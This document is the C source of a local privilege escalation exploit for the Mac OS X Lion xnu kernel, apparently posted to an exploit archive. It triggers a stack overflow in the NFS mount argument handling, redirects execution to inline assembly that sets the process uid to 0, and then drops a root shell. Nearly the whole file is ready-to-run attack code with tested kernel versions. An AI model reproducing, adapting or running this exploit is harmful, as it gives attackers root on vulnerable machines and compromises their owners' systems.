1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 |
/* * Apple Mac OS X Lion Kernel <=xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit * CVE None * by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com> * * * Notes: * This exploit leverage a stack overflow vulnerability to escalate privileges. * The vulnerable function nfs_convert_old_nfs_args does not verify the size * of a user-provided argument before copying it to the stack. As a result by * passing a large size, a local user can overwrite the stack with arbitrary * content. * * Tested on Max OS X Lion xnu-1699.22.73 (x86_64) * Tested on Max OS X Lion xnu-1699.32.7(x86_64) * * Greets to taviso, spender, joberheide */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <errno.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> /** change these to fit your environment if needed **/ #define SSIZE (536) /** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/ struct user_nfs_args { int version; /* args structure version number */ char* addr __attribute__((aligned(8))); /* file server address */ int addrlen; /* length of address */ int sotype; /* Socket type */ int proto; /* and Protocol */ char * fh __attribute__((aligned(8))); /* File handle to be mounted */ int fhsize; /* Size, in bytes, of fh */ int flags; /* flags */ int wsize; /* write size in bytes */ int rsize; /* read size in bytes */ int readdirsize; /* readdir size in bytes */ int timeo; /* initial timeout in .1 secs */ int retrans; /* times to retry send */ int maxgrouplist; /* Max. size of group list */ int readahead; /* # of blocks to readahead */ int leaseterm; /* obsolete: Term (sec) of lease */ int deadthresh; /* obsolete: Retrans threshold */ char* hostname __attribute__((aligned(8))); /* server's name */ /* NFS_ARGSVERSION 3 ends here */ int acregmin; /* reg file min attr cache timeout */ int acregmax; /* reg file max attr cache timeout */ int acdirmin; /* dir min attr cache timeout */ int acdirmax; /* dir max attr cache timeout */ /* NFS_ARGSVERSION 4 ends here */ uint auth; /* security mechanism flavor */ /* NFS_ARGSVERSION 5 ends here */ uint deadtimeout; /* secs until unresponsive mount considered dead */ }; /** sets the uid for the current processand safely exits from the kernel**/ static void r00t_me() { asm( // padding "nop; nop; nop; nop;" // task_t %rax = current_task() "movq %%gs:0x00000008, %%rax;" "movq 0x00000348(%%rax), %%rax;" // proc %rax = get_bsdtask_info() "movq 0x000002d8(%%rax),%%rax;" // ucred location at proc "movq 0x000000d0(%%rax),%%rax;" // uid = 0 "xorl %%edi, %%edi;" "movl %%edi, 0x0000001c(%%rax);" "movl %%edi, 0x00000020(%%rax);" // fix the stack pointer and return (EACCES) "movq $13, %%rax;" "addq $0x00000308,%%rsp;" "popq %%rbx;" "popq %%r12;" "popq %%r13;" "popq %%r14;" "popq %%r15;" "popq %%rbp;" "ret;" :::"%rax" ); } int main(int argc, char ** argv) { struct user_nfs_args xdrbuf; char * path; char obuf[SSIZE]; /** clear the arguments **/ memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args)); memset(obuf, 0x00, SSIZE); /** set up variable to get path to vulnerable code **/ xdrbuf.version = 3; xdrbuf.hostname = "localhost"; xdrbuf.addrlen = SSIZE; xdrbuf.addr = obuf; /** set ret address **/ *(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5); printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]); /** create a unique tmp name **/ if ((path = tmpnam(NULL)) == NULL) { // path can be any directory which we have read/write/exec access // but I'd much rather create one instead of searching for one perror("[-] tmpnam"); exit(EXIT_FAILURE); } /** make the path in tmp so that we can use it **/ if (mkdir(path, 0660) < 0) { perror("[-] mkdir"); exit(EXIT_FAILURE); } /** inform the user that the path was created **/ printf("[*] created sploit path%s\n", path); /** call the vulnerable function **/ if (mount("nfs", path, 0, &xdrbuf) < 0) { if (errno == EACCES) { puts("[+] escalating privileges..."); } else { perror("[-] mount"); } } /** clean up tmp dir **/ if (rmdir(path) < 0) { perror("[-] rmdir"); } /** check if privs are equal to root **/ if (getuid() != 0) { puts("[-] priviledge escalation failed"); exit(EXIT_FAILURE); } /** get root shell **/ printf("[+] We are now uid=%i ... your welcome!\n", getuid()); printf("[+] Dropping a shell.\n"); execl("/bin/sh", "/bin/sh", NULL); return 0; } |